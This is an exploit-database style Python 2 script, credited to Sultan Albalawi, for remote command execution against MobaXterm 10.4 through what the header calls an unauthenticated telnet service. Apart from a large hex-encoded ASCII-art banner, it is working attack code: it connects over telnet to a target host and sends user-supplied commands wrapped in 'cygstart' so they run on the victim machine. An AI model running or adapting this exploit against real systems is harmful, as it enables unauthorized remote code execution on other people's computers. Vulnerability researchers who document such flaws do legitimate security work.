import telnetlib,sys # Exploit Title: MobaXtrem 10.4 Remote Code Execution # Date: 11/9/2017 # Exploit Author: Sultan Albalawi # Vendor Homepage: http://mobatek.net # Software Link: http://download.mobatek.net/10420170816103227/MobaXterm_Portable_v10.4.zip # Version: 10.4 # Tested on: Windows Xp & Windows 7 & 10 # POC : https://www.youtube.com/watch?v=oYdzP0umtFA&feature=youtu.be # Vulnerability Cause::: # Telnet service doesn't authinticate for remote conncection which allows attacker to # pass malicious commands over victim box through protocol. print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \ "\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \ "\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \ "\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \ "\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \ "\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \ "\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \ "\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \ "\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \ "\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \ "\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \ "\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \ "\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \ "\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \ "\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \ "\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \ "\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \ "\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \ "\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \ "\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \ "\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \ "\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \ "\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \ "\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \ "\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \ "\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \ "\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \ "\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \ "\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \ "\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \ "\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \ "\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \ "\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \ "\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \ "\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \ "\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \ "\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \ "\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \ "\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \ "\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \ "\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \ "\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\x0a\x27\x27\x27" def get_set(HOST,cmd): try : tn = telnetlib.Telnet(HOST) bg="\x63\x79\x67\x73\x74\x61\x72\x74" tn.write(bg+" ./"+cmd+"\n") tn.write(main()) tn.read_all() except KeyboardInterrupt: print "[-] Execution stopped ... keyboard interrupt raised" except Exception as e: pass def main(): if len(sys.argv)==2: HOST = sys.argv[1] cmd = str(raw_input("cmd> ")) if "exit" in cmd : sys.exit("exiting...") else: print"Executing => %s"%cmd get_set(HOST,cmd) else: print "Usage: ./"+sys.argv[0]+" " if __name__ == '__main__': main()